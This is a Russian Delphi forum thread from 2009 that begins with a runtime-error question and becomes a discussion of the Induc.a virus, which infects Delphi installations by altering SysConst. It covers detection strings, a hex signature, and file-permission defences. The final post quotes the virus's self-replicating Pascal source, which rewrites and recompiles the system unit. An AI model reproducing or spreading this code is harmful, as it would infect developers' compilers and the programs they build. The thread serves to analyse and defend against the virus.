Rambler's Top100
"Knowledge itself is power"
F.Bacon
Поиск | Карта сайта | Помощь | О проекте | ТТХ  
 Круглый стол
  
Правила КС
>> Настройки

Фильтр вопросов
>> Новые вопросы
отслеживать по
>> Новые ответы

Избранное

Страница вопросов
Поиск по КС


Специальные проекты:
>> К л ю к в а
>> Г о л о в о л о м к и

Вопрос №

Задать вопрос
Off-topic вопросы

Помощь

 
 К н и г и
 
Книжная полка
 
 
Библиотека
 
  
  
 


Поиск
 
Поиск по КС
Поиск в статьях
Яndex© + Google©
Поиск книг

 
  
Тематический каталог
Все манускрипты

 
  
Карта VCL
ОШИБКИ
Сообщения системы

 
Форумы
 
Круглый стол
Новые вопросы

 
  
Базарная площадь
Городская площадь

 
   
С Л С

 
Летопись
 
Королевские Хроники
Рыцарский Зал
Глас народа!

 
  
ТТХ
Конкурсы
Королевская клюква

 
Разделы
 
Hello, World!
Лицей

Квинтана

 
  
Сокровищница
Подземелье Магов
Подводные камни
Свитки

 
  
Школа ОБЕРОНА

 
  
Арсенальная башня
Фолианты
Полигон

 
  
Книга Песка
Дальние земли

 
  
АРХИВЫ

 
 

Сейчас на сайте присутствуют:
 
  
 
Во Флориде и в Королевстве сейчас  01:48[Войти] | [Зарегистрироваться]
Ответ на вопрос № 70912

Головоломки и алгоритмические задачки | 28-05-2009 08:55
Здраствуйте, у меня есть проблема с моей программой, а именно не хочет запускаться на некоторых компьютерах . Вылетает ошибка Runtime error 3 at .... Я уже не знаю чё делать голову сломал. Попытался поудалять папки в корневой папке Delphi. После удаления папки Source у меня тоже моя программа перестала запускаться вылетает это же сообщение Runtime error 3 at ... Помогите разобраться в этой ситуации. Заранее спасибо.

[+] Добавить в избранные вопросы

Отслеживать ответы на этот вопрос по RSS

Ответы:


Уважаемые авторы вопросов! Большая просьба сообщить о результатах решения проблемы на этой странице.
Иначе, следящие за обсуждением, возможно имеющие аналогичные проблемы, не получают ясного представления об их решении. А авторы ответов не получают обратной связи. Что можно расценивать, как проявление неуважения к отвечающим от автора вопроса.

08-10-2009 13:15 | Комментарий к предыдущим ответам
14-08-2009 17:58  Aleksey Timohin

Вот по быстрому набросал FIX:
http://www.nazironline.ru/soft/Delphi_SysConst.dcu_fix.zip

Во-первых, этот "фикс" расчитан только на Delphi 7(судя по батнику).
Во-вторых, он очищает в реестре ветку (что совсем не нужно) HKLM\SOFTWARE\Borland\Delphi\7.0\RootDir
Причём очищает с помощью какой-то самописной программы, которая упакована каким-то пакером, который определяется антивирусом как вирус(!). При проверке этого файла на virustotal, 19 антивирусов определили его как вирус.

Пруфлинк: http://www.virustotal.com/analisis/23af0f66795ba4edeb7bbc4d48c5256dc062c9f11425fecaf049280471bec4eb-1250290588



1. Батник это всего лишь пример фикса при помощи программы cmdRegCleaner.exe (1.2 http://www.nazironline.ru/index.php?page=freeware.html)
Можете переписать как его хотите (для своих нужд).
2. Уберите строчку из батника, если Вам этого не нужно.
3. Программа не какая-то. Я её написал для себя, когда было необходимо отлаживать программы, которые пишут в реестр.

Файл был упакован PE-упаковщиком Upack. Сейчас я перепаковал его UPX.
Можете проверить: http://www.nazironline.ru/soft/Delphi_SysConst.dcu_fix.zip

Вот новый анализ VirusTotal:
Файл cmdRegCleaner.exe получен 2009.10.08 18:09:30 (UTC)
Текущий статус: закончено
Результат: 3/41 (7.32%)
Пруфлинк: http://www.virustotal.com/ru/analisis/be5a4c16a0d41f5e81d82c28fd1cc6b582918a2e937c69307b41699ff5ad53f9-1255025370

28-08-2009 03:53 | Комментарий к предыдущим ответам
Вопрос переведён в разряд головоломок, чтобы тип ответа по умолчанию был "Комментарий к предыдущим ответам", и автор вопроса не получал уведомления о каждом ответе в этой весьма оживлённой ветке. А то многие забывают ставить этот тип ответа вручную.

27-08-2009 04:55 | Комментарий к предыдущим ответам
Я подумал: стоит ли выкладывать исходный код?
Ни в коем случае - неадекватных личностей и вредителей сейчас действительно предостаточно.

26-08-2009 13:37 | Комментарий к предыдущим ответам
Я подумал: стоит ли выкладывать исходный код?
В общем-то принцип для всех понятен и без кода. Но некоторые неуравновешенные личности в периоде сексуального созревания могут возбудиться, скопипастить и реализоваться крутыми кулхацкерами. :))

26-08-2009 06:19


А как иначе её можно назвать?


Ну, например, "счастливой случайностью".
Просто у меня эта ошибка досады не вызывает, скорее она меня радует, т.к. во многом благодаря этой счастливой случайности был обнаружен вирус :)

P.S. Обзор "Virus.Win32.Induc.a: энцать дней спустя" классный.
P.S.S. Я не заражен, использую Turbo Delphi

26-08-2009 02:29 | Комментарий к предыдущим ответам
>>> И, что тоже обещали, не собираются уделять этой проблеме больше внимания, чем она заслуживает
Интересно, это окончательный официальный ответ или просто реакция на текущее состояние дел?

Т.е. было обещано "нечто", что позволит защитить Delphi от всех подобного рода атак (сообщение Allen Bauer). В данном FAQ в основном упор на "индюка" и то, что он поражает 4-7 (да, не упустили они случая прорекламировать новые Delphi). Т.е. как бы они считают это достаточным (набор рекомендаций) или ещё что-то будет?

>>> GunSmoker все время называет ошибку в вирусе "досадной"
А как иначе её можно назвать?

25-08-2009 17:46 | Комментарий к предыдущим ответам
Боже, сколько много слов )
Надо тоже вирус для Delphi (только уже для версий 2006-2009) написать, вот она - слава :)

Как-то настораживает, что GunSmoker все время называет ошибку в вирусе "досадной" :) Создается впечатление, что это он её допустил :)
Я вот сейчас про ошибки и баги в Windows 7 обсуждение веду третий день подряд на одном форуме. Тоже могу назывтаь их досадными, но это ведь не означает, что я причастен к созданию Windows 7? )))))

Может у Александра Алексеева (GunSmoker-а) так неприязнь к ранним версиям Delphi выражается... )

PS: Embarcadero, как и обещали, подготовили официальный FAQ
http://blogs.embarcadero.com/nickhodges/2009/08/24/39287
http://edn.embarcadero.com/article/39851
И, что тоже обещали, не собираются уделять этой проблеме больше внимания, чем она заслуживает

25-08-2009 13:47
Как-то настораживает, что GunSmoker все время называет ошибку в вирусе "досадной" :) Создается впечатление, что это он её допустил :)

25-08-2009 06:47 | Комментарий к предыдущим ответам
А как вы отличите инфицированную программу от не инфицированной для неизвестного вируса?

Ведь подобный тип вируса сидит в программе "by design". Если обычные вирусы в некотором роде инородны в о внедрённых программах, то этот вирус является неотъемлемой частью программы. Он не заражал её. Он был там изначально. Он ничем не отличается от вашего Button1Click. Он не имеет никаких признаков обычного вируса. Он не инфицирует программы. Он не висит резидентно в памяти. Он не внедряется в программы. Эвристика не срабатывает. Анти-вирус не ловит. Как вообще анти-вирус узнает, что на него надо срабатывать? Только если его как-то обнаружат и отправят на исследование. Win32.Induc.a обнаружили благодаря ошибке в его коде. А если нет ошибки? Только слежением за своими Delphi.

25-08-2009 06:23 | Комментарий к предыдущим ответам
Есть вероятность, что подобный вирус сможет внедряться в произвольные модули dcu, т.е. не стандартные?
Я вот тут думаю, есть ли особый смысл (для вирусописателя) так распростронять вирус. Все так программисты чуть более продвинутые пользователи и, наверное, вероятнее всего обнаружат заразу на ранней стадии.
Я однажды словил виря и он висел в памяти. Он благополучно заразил запущенное из среды приложение.
Тот же эффект, но этот вирь мог распростронятся через любой комп, а не только со старыми версиями Delphi. На что тут расчитывали? На период молчания антивирусных программ?

25-08-2009 06:11 | Комментарий к предыдущим ответам
Подскажите: размеры  SysConst.dcu в \Lib и \Lib\Debug должны быть одинаковые? SysConst.pas никогда не правил и не компилировал.

24-08-2009 04:20 | Комментарий к предыдущим ответам
По поводу новизны метода: читал о подобном методе заражения Turbo Pascal ещё в те времена, когда был жив Aidstest... Так что это не новое, а хорошо забытое старое.

>>> А вот подозрительно, почему червь, поражающий инсталляции старых версий Delphi появляется, как раз перед выпуском RAD Studio 2010. Если прикинуть вектор атаки, получается, что CodeGear заинтересованы в таком вирусе :-/

Позвольте спросить: в чём состоит заинтересованность? В том, что узнав, что конкретно этот вирус заражает только старые версии, народ бросится покупать новые, поскольку конкретно этот вирус их не заражает? И на кого такая акция может быть рассчитана? На идиотов?
"Мне представляется совсем простая штука":
1. Почему только старые версии - потому, что автор сам писал на старой и не проверил работоспособность на новых.
2. Почему именно сейчас - человек пахал все каникулы, чтобы успеть до начала учебного года. Успел...

24-08-2009 00:51 | Комментарий к предыдущим ответам
2 апрель: Простите, мне показалось, что вы мне отвечаете (ваша реплика шла сразу после моей ссылки, в том числе по времени).

23-08-2009 20:49
По поводу безопасности: если контроль родных модулей Делфи ещё можно как то обеспечить, то как защититься от заражения сторонних пакетов? Да и где гарантия, что не появиться модификация вируса, которая будет осуществлять поиск всех *.pas и производить их заражение.

23-08-2009 16:10 | Комментарий к предыдущим ответам
Для меня gunsmoker, tdelphi и вся прочая "блогосферная тусовка" - неавторитетна. Простите за прямоту, Александр, там обычно не читаю :)
Да, Интерсимон и Ходжес (с Вашего позволения, обойдусь без name-dropping) есть в списке лиц, которые получат выгоду от появления этого червя именно сейчас (Cui bono?). Вы охарактеризовали мое мнение как "абсолютный бред" и классифицоровали как "Вопросы от неумения читать/гуглить/использовать голову" и теперь удивляетесь, что Ваши публикации не читают?

Насчет гипотезы о PoC готов поспорить. За код - спасибо. Дураку не отвечайте.

23-08-2009 13:35 | Комментарий к предыдущим ответам
...да, несомненно, это всё происки Ника и Дэвида...

(и для кого, я, спрашивается, писал пост?)

23-08-2009 13:15
А вот подозрительно, почему червь, поражающий инсталляции старых версий Delphi появляется, как раз перед выпуском RAD Studio 2010. Если прикинуть вектор атаки, получается, что CodeGear заинтересованы в таком вирусе :-/

23-08-2009 09:35
Ай, со ссылкой промазал.

Вот так: Virus.Win32.Induc.a: энцать дней спустя

23-08-2009 09:35
%url[Virus.Win32.Induc.a: энцать дней спустя] - собрал кучей информацию по Win32.Induc.a.

23-08-2009 07:37
А теперь все антивирусы дружно вносят этот вирус в свои базы и он сносит зараженные программы. Реакция рядового пользователя: разработчик не умеет защищаться - нафик его программы...  :(

23-08-2009 06:29
А благодаря таким обсуждениям, разные "кулхацкеры" учатся не совершать ошибок в коде вируса и получают новые идеи, как напакостить.
Сия дилемма стара как мир. История учит, что укрывательство наносит бОльший вред, ибо рассчитано на то, что вредители слабоумные. На деле это не так. А закрытость не позволяет мобилизовать лучшие умы. И первое и второе - непростительная оплошность, если не больше.

Укрыть можно и нужно реализацию защиты. Но все мы знаем, что и это не вечно, зато дает возможность выйграть время.

23-08-2009 05:09
Просто Delphi в очередной раз "повезло" :)
Как просто отлично написано здесь http://wings-of-wind.com/2009/08/21/2nd-virus-threat-now-much-dangerous-than-the-former/ такая форма атаки, а возможно и более худшая, может быть реализована для Java, семейства .NET языков, C++, Ruby и т.д.
А особенно просто это сделать для Java.
И как знать, возможно уже разошлись миллионы зараженных jar-файлов.
А благодаря таким обсуждениям, разные "кулхацкеры" учатся не совершать ошибок в коде вируса и получают новые идеи, как напакостить.

23-08-2009 03:58 | Комментарий к предыдущим ответам
Ай, очипятка: "Каких конкретно" -> "Какую конкретно".

23-08-2009 03:56
Николай, вы как-то странно-выборочно читаете: вы увидели только то, что вы хотели увидеть ;)
Я ещё раз подчеркну: "Rest assured that we’re neither ignoring this threat, nor are we going to do anything to blow it out of proportion. What we’re working on is a response that includes ways that our customers can appropriately guard against any future attacks."

Т.е. сейчас Allen Bayer не может сказать, в чём конкретно будет заключаться защита от подобных угроз. Но он сказал, что будущие версии Delphi будут включать в себя некоторую защиту от такого сорта угроз. Каких конкретно - пока неясно, они над этим работают. Может это будет цифровая подпись на dcu (во, загнул-то), может какая-то проверка целостности установки, а может просто набор рекомендаций типа: "добавьте папки \Lib и \Source под контроль анти-вируса, включив функцию "эти-файлы-не-должны-никогда-меняться".

23-08-2009 02:44
Это просто радует, что в Embarcadero обеспокоены проблемой, что само по себе вселяет уверенность, что с данной проблемой мы не будем бороться в одиночку.

Но...
Опять идет речь об одном зараженном модуле! Откуда уверенность, что вирусописатели не выбрали этот модуль просто для обкатки? Заражаться таким путем могут любые дельфийские модули. То, что наличие файла .bak используется как сигнал о том, что вирус свою работу выполнил - очень слабая зацепка. Когда все будет отлажено, для этого не нужны будут подбные сигналы. Не стоит такой признак использвать при выработке мер противодействия.
И уж абсолютно несеръезными звучат уверения, что, мол, этот вирус заражает только старые версии Delphi. Ничто не мешает заражению новых и самых последних версий, если только этот вирус - не дело рук самих разработчиков Delphi.

Меры противодействия должны быть радикальными, исключающими в дальнейшем в принципе подобный способ инфицирования среды разработки. Они должны радикально отличаться от всех доселе существовашвих способов борьбы с вирусами. Заражается среда разработки. Этого раньше не бывало (по крайней мере, я лично такое впервые встречаю). И работа вируса основана на существующей технологии компиляции исполняемых файлов Delphi.

Давайте глянем в корень данной проблемы. Что может гарантировать чистый исполняемый код? Это во-первых, чистота ядра системы (исполняемый файл среды разработки и все его DLL). Проверку их заражения можно проводить существующими способами, коих великое множество. Во-вторых, чистота исходного кода прикладных программ и модулей VCL, а также любых других включаемых модулей. Тут не годятся старые методы борьбы. Нужно гарантировать, что при загрузке исходных текстов в "конвейер" их переработки до самого выхода EXE или DLL не будет внесено искажений. Единственный способ это сделать - обеспечить контроль редакций исходного кода в момент его передачи на самую первую стадию переработки (компиляции).

Как обеспечить контроль исходных текстов, в том числе и библиотек Delphi на уровне файлов DCU и прочих промежуточных модулей? Думаю, что найдутся способы. Но боюсь, что без изменения алгоритмов компилирования и сборки задача не будет должным образом решена. И не думаю, что стоит бояться этого. Вирус атаковал не модули Delphi, он атаковал метод формирования выходных исполняемых файлов. Значит, нужно в эти методы внести изменения, чтобы в дальнейшем было невозможно этим воспользоваться в злонамеренных целях.

22-08-2009 15:07
Николай: http://blogs.embarcadero.com/abauer/2009/08/20/38892

At this point, here at Embarcadero, we’re actively analyzing situation and overall impact to our community. We’re also working on recommendations about how to find out if you’re infected and what to do once you see that you are. Throughout all this we’re working on recommended steps can you take to guard against re-infections. Rest assured that we’re neither ignoring this threat, nor are we going to do anything to blow it out of proportion.

...

What we’re working on is a response that includes ways that our customers can appropriately guard against any future attacks. Maybe this will include code and utilities for them to use, or maybe it will only be a set of guidelines and steps.

22-08-2009 14:19
Меня немного удивляет методология избавления от вируса, которая проповедуется в этом обсуждении. Поиск SysConsts.bak, просмотр dpr и т.д. и т.п. - это полумеры.
Игра в догонялки. Все это годится только как временная мера.

Если действительно готовится вирус (а иначе, как подготовительными, все действия вирусоразработчиков трудно назвать), то надо соображать, немного заглядывая вперед. Как только будет отработана технология внедрения, уже не будет никаких .bak - файлов, и даже неизвестно, куда будет вирус внедряться, и какие разрушения он может нанести. Практически вычислительная система будет у него в полном владении, т.к. аккаунт разработчика Delphi как правило обладает повышенными, а чаще админовскими правами на компьютере.

Прежде всего над проблемой должна работать (или должен) Embarcadero. У меня нехорошие предчувствия, что придется менять технологию компилирования исполняемого кода.

21-08-2009 05:54
Забыл добавить - и поиск в dpr-файлах.

21-08-2009 05:49
Похоже универсальный метод поиска вируса - это искать слово dcc32 во всех dcu и pas.
Конечно, не всегда это будет вирус.
Например в JVCL найдено в:
\install\JVCLInstall\Compile.pas
\install\JVCLInstall\Dcc32FileAgePatch.pas
\install\JVCLInstall\DelphiData.pas
\devtools\dpp32\dpp_Macros.pas
Нужно будет тщательнее анализировать исходник.
Если найдено в dcu - лучше его удалить.
Плохо, если есть модификации вируса, в которых текст зашифрован.
Хотя бы просто xor'ом.

21-08-2009 01:13
Прям везение :), сегодня утром NOD32-4 удалил exe моего проекта, квалифицировав его как модифицированный Win32/Induc.A вирус, а через пол часа я случайно ноткнулся на это обсуждение.
Заражённым оказался Delphi7 SE, либо изначально, после установки какого-то из следущих компонентов:
- TXmlScanner (http://www.destructor.de/xmlparser/xmlparser.zip)
- TCodeChanger (http://www.xgprograms.narod.ru/downloads/CodeChanger.rar)
- FastMM4 (http://downloads.sourceforge.net/project/fastmm/FastMM%204.x%20Stable%20Releases/FastMM%204.92/FastMM492.zip).

20-08-2009 23:37 | Комментарий к предыдущим ответам
WinXP SP3, Delphi7. Чехарда при компиляции началась через два дня после инстоляции JVCL (понадобился TJvRichEdit) и взял из сайта http://jvcl.delphi-jedi.org. Может это просто совпадение? При очередной корректировке проекта запустил Run, и Norton Internet Security на пару секунд семафорил-Bloc Protected .Win32.Induc.a. Потом просто открыл другой проект (посмотреть код ), а после его закрытия ехе-шник исчез. Отсканировал все - Virus.Win32.Indcu.a. Вспомнил про Ваш красный флаг и почитал. Нашел SysConst.bat и выкинул его вместе с .dcu, а скопировал с другого ПК SysConst.dcu (работает без сети и использую как телевизор) и установил. Вроде работает, но надолго ли? Чужих проектов не открывал -не имею и нет нужды. Возможно это все, как вы говорите, от юзания по Дельфийским сайтам и форумам? Я вэтом не разбираюсь, но знаю, что в жизни у вирусов есть инкубационный период.
От перхоти -гильотина, а от вшей - Форматирование. Второе пробовал - помогает.

20-08-2009 05:52 | Комментарий к предыдущим ответам
Короче, если кому-то понадобится поправить ехе-шник (нет возможности пересобрать или влом), то ищем начало блока вируса:
757365732077696E646F77733B207661722073633A61727261795B312E2E32345D206F6620737472696E673D2800
выделяем блок длиной 1042h или в десятичной 4162 байта и по-байтно заменяем на 90, тобишь NOP-им. ;) Проверял - работает. Именно так и поступает Dr.Web.

19-08-2009 13:27
У меня оказались "зараженными" файлы, скомпилированные еще в начале мая (5 мая - точно уже). Так что уже баян ;) Хотя обнаружил только 19 августа (и то, сообщили).

19-08-2009 03:25
Ну а я скомпилировал вирус Delphi 2009, отправил на VirusTotal и ни один антивирус его не определил. Возможно не определится и скомпилированный 7 < Delphi < 2009.
И пиар им не поможет :)

18-08-2009 19:54
DrWeb тоже его находит и обезвреживает.
"Лаборатории Касперского" только дай повод попиариться.

18-08-2009 13:09
У меня нод его тоже сейчас нашел)

18-08-2009 12:54 | Комментарий к предыдущим ответам
"Лаборатория Касперского" обнаружила вирус, заражающий Delphi-приложения на этапе разработки

...а мы, а как же мы? :)

18-08-2009 12:46
>>> Скорее всего, это что-то другое
Нет, именно оно. Видимо в хитросплетениях Borland/CodeGear/Embarcadero стороннему человеку без бутылки не разобраться ;)
Как только они добавили в базу сигнатуру - к ним посыпались кучи жалоб, народ думал, что это false-positive (ещё бы: анти-вирус определяет ВСЕ втои проги как инфицированные). Поэтому они сочли нужным дать разъясняющий пост в блоге.

18-08-2009 11:24
"Лаборатория Касперского", ведущий ...и т.д....
сообщает о появлении вируса Virus.Win32.Induc.a, распространяющегося
через интегрированную среду разработки программного обеспечения CodeGear
Delphi. Защита от новейшей угрозы уже реализована во всех продуктах
"Лаборатории Касперского".


Странно...

Скорее всего, это что-то другое, так как Delphi 4..7, подверженные этой заразе, никогда не назывались CodeGear Delphi. Сомневаюсь, что Касперцы способны на перлы путания Borland и CodeGear.

18-08-2009 10:06
Пришло по рассылке:

"Лаборатория Касперского", ведущий ...и т.д....
сообщает о появлении вируса Virus.Win32.Induc.a, распространяющегося
через интегрированную среду разработки программного обеспечения CodeGear
Delphi. Защита от новейшей угрозы уже реализована во всех продуктах
"Лаборатории Касперского".

:)

17-08-2009 05:22 | Комментарий к предыдущим ответам
* запретил смотреть разрешения.

17-08-2009 05:20
>>>Так ведь в том-то и дело, что админ может стать владельцем любого объекта (иначе он админом бы не был).
Сейчас ещё раз перепроверю, но вообще-то я сделал для файла владельца пользователя, а админам запретил права даже смотреть. И всё, теперь у меня выдаёт access denied админу.

17-08-2009 01:59
Так ведь в том-то и дело, что админ может стать владельцем любого объекта (иначе он админом бы не был).

16-08-2009 11:18 | Комментарий к предыдущим ответам
Владелеца можно назначить хоть на всю папку целиком, хоть на отдельный файлик.

16-08-2009 11:15
>>> вы его запустите под админом (например, если это установщик) - то ничто не может ему помешать поменять права на папку/файл перед записью.
Ну почему же, я сейчас поколдовал с одним файлом, теперь его и админ, не может изменить и права админу запретил менять. Короче там не от админа зависит, а от владельца. Владельцем можешь поставить хоть обычного пользователя и не заходить никогда под его профилем. Владелец может обрубить/назначить любые права любому в системе.

16-08-2009 07:43
>>> По крайней мере, в Висте их нельзя устанавливать в Program Files, потому что тогда прав не хватает для нормальной работы.
Ну всё же не на 100% верно: Установка Delphi 7/2006 на Windows Vista - достаточно поменять права на несколько папок/файлов.

>>> Если работать с Delphi из-под юзера - не администратора, не имеющего право писать в Program Files, убережёт ли такая практика от этой заразы?
>>> Через вкладку Безопасность обоим файлам назначить запрет пользователю "Все" на запись (но для надежности я также запрет на удаление ставил).
Наверное, это может защитить только от данного конкретного экземпляра. Но если на вашу машину попадёт файл, инфицированный другой аналогиной бякой, а вы его запустите под админом (например, если это установщик) - то ничто не может ему помешать поменять права на папку/файл перед записью.
Наверное, наиболее надёжный способ - постоянный контроль папки \Lib, сравнивая её с бэкапом/дистрибутивом.

16-08-2009 00:43 | Комментарий к предыдущим ответам
Получается, что и в 2000/XP их тоже не следует ставить в Program Files, если планируется работать не из-под админа.
И это - еще одна причина перейти на более новую версию Дельфи! )))

16-08-2009 00:41 | Комментарий к предыдущим ответам
Антон, спасибо за пояснение. Получается, что и в 2000/XP их тоже не следует ставить в Program Files, если планируется работать не из-под админа.

15-08-2009 23:59 | Комментарий к предыдущим ответам
Если работать с Delphi из-под юзера - не администратора, не имеющего право писать в Program Files, убережёт ли такая практика от этой заразы?

Зражаются только версии с 4 по 7-ю, а они, насколько я знаю, что-то пишут в ту папку, в которую установлены. По крайней мере, в Висте ихнельзя устанавливать в Program Files, потому что тогда прав не хватает для нормальной работы.

15-08-2009 17:31
Еще одно решение как обезопасить делфи от заражения:
1) Скопировать 12-килобайтный оригинальный файл SysConsts.dcu в два экземпляра под именами SysConsts.dcu и SysConsts.bak
2) Через вкладку Безопасность обоим файлам назначить запрет пользователю "Все" на запись (но для надежности я также запрет на удаление ставил).
При таком раскладе зловредный код не сможет переименовать оригинальный .dcu в .bak (что он сначала делает), а значит оригинальный .dcu останется в папке, поверх которого записать ничего тоже не получится из-за разрешений на доступ к файлу.

15-08-2009 13:10 | Комментарий к предыдущим ответам
Господа, хочу задать такой вопрос. Если работать с Delphi из-под юзера - не администратора, не имеющего право писать в Program Files, убережёт ли такая практика от этой заразы?

14-08-2009 17:58 | Комментарий к предыдущим ответам
Вот по быстрому набросал FIX:
http://www.nazironline.ru/soft/Delphi_SysConst.dcu_fix.zip


Во-первых, этот "фикс" расчитан только на Delphi 7(судя по батнику).
Во-вторых, он очищает в реестре ветку (что совсем не нужно) HKLM\SOFTWARE\Borland\Delphi\7.0\RootDir
Причём очищает с помощью какой-то самописной программы, которая упакована каким-то пакером, который определяется антивирусом как вирус(!). При проверке этого файла на virustotal, 19 антивирусов определили его как вирус.

Пруфлинк: http://www.virustotal.com/analisis/23af0f66795ba4edeb7bbc4d48c5256dc062c9f11425fecaf049280471bec4eb-1250290588


14-08-2009 13:06 | Комментарий к предыдущим ответам
Link Commander v.4.5.1.1168 тоже заражен этой дрянью

14-08-2009 06:41 | Замечание модератора
Хочу заметить, что обсуждение того, у кого какой QIP стоит, а также достоинств и недостатков разных его версий является в этой теме злостным оффтопиком.

13-08-2009 03:55
Тоже нашёл сегодня это у себя. Притом bak файл оказался тоже с вирусом, поэтому пришлось искать чистый файл на диске с delphi. И ещё на всякий случай напишу, что если ставить атрибут на файлы в папке Lib "Только чтение", то это не помогает и вирус всё равно действует.

13-08-2009 03:38
Запостил это у себя в блоге.
А вот обсуждение на хабре.

12-08-2009 23:12 | Комментарий к предыдущим ответам
...и если нашли инфицированный файл, скомпилированный не вами, то именно он - источник заразы на вашей машине.
А вообще эта штука могла придти и от знакомого дельфиста, если у него заражена Delphi. Ну, давал он вам какую-то свою программку посмотреть, погонять, потестить. Вы посмотрели и удалили, а вот Delphi уже заразились.

12-08-2009 15:09
Ну, чтобы быстро определить, какие файлы инфицированы этим вирусом, можно просто запустить поиск всех файлов на всех дисках, содержащих, к примеру, строчку "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется).

12-08-2009 14:24
Тоже обнаружил у себя (D5) эту гадость. Откуда попала - ума не приложу - с QIP и иже с ним отродясь дела не имел.

12-08-2009 12:01
Хм... Интересно, откуда у меня *ЭТО* взялось. Ни квипа, ни аимпа у меня нет, ничего нового в последнее время не устанавливал вроде, ArtIcons только

12-08-2009 09:31
А ну, вот, пока писал, уже разобрались :D

P.S.
Товарищи Delphi-сты: будьте бдительны и проверьте свои установки Delphi!

12-08-2009 09:29 | Комментарий к предыдущим ответам
То, что все Delphi-вые программы лезут в реестр в ключи Delphi - это одно. Это работает стандартный ITE и он-то работает без багов.
А вот то, что по интернету ползает саморазмножающийся код (иначе как "вирусом" его назвать не могу) - это уже совсем другое.

12-08-2009 09:27
Прочитал обсуждение. Александр Алексеев, благодарю вас за информацию. Большое спасибо, действительно, обнаружил у себя этот трижды треклятый sysconst.bak...
Посыпаю голову пеплом и всячески извиняюсь. Версия будет безусловно перекомпилирована

12-08-2009 09:27
Эээээ... вообще-то я никого не обвинял. Сорри, если это действительно так выглядит со стороны, я вообще-то помочь хотел.
А вот этот саморазмножающийся код тоже, что-ли, поделка RTL Delphi? :D

12-08-2009 09:14
Действительно, есть такая проблема. Совсем недавно мы выпускали 8094 и к нам на форум пожаловалось несколько человек в этой теме
Вылетает она внутри RTL при обращении к веткам в реестре. Поиск путей вшит в RTL делфи, квип как всем известно написан на делфи
конкретно, ищутся пути
HKCU(или HKLM)\Software\Borland\Delphi\Locales или HKCU\Software\Borland\Locales
Любопытствующие могут увидеть это обращение в модуле System, функция LoadResourceModule
Видимо борланд ввела это обращение как workaround для какого-то бага с локализациями и все, у кого некорректно удалена или установлена делфи могут попасть на эту ошибку.

Замечу, что ошибка выбрасывается виндой, до наших обработчиков просто не доходит.
И уж тем более мы не ставили цели запороть делфи всем. Нас в чем только не обвиняли, но в этом... Извините

В качестве решения проблемы могу предложить запустить инсталлятор делфи и выбрать пункт Restore

12-08-2009 09:11
Видать, QIP далеко не единственная программа, которая под это попала. как минимум еще aimp. А на форуме кипа я всех буду пилить до тех пор, пока не исправят)

12-08-2009 09:06 | Комментарий к предыдущим ответам
Да, я уже скинул ему сообщение в личку.
Опросил шесть человек по аське (я вообще джаббер на QIP Infium использую), у двоих нашлась эта бяка, причём у одного QIP не был установлен. Видать, QIP далеко не единственная программа, которая под это попала.

12-08-2009 08:36 | Комментарий к предыдущим ответам
Среди участников Королевства есть Sega-Zero:
http://www.delphikingdom.ru/asp/users.asp?ID=4216
он - один из разработчиков qip. Наверное можно было бы по поводу вируса спросить у него или сообщить ему.)) Но он по-моему в последнее время нечасто заходит сюда.

12-08-2009 07:47 | Комментарий к предыдущим ответам
P.S. А ещё можно юзать Висту или хотя бы XP не-под-админом, тогда все ваши дельфёвые файлики будут защищены (ну, если вы, конечно, в Program Files всё ставили).

12-08-2009 07:38
В общем лучшее описание, что я нашёл, вот тут: http://forum.gsmhosting.com/vbb/showthread.php?p=4590996#post4590996

Код выглядит примерно вот так:

uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var i:integer;
begin
  for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
  result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;
    h:cardinal;
    f:STARTUPINFO;
    p:PROCESS_INFORMATION;
    b:boolean;
    t1,t2,t3:FILETIME;
begin
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then exit;
  assignfile(f2,d+'pas');
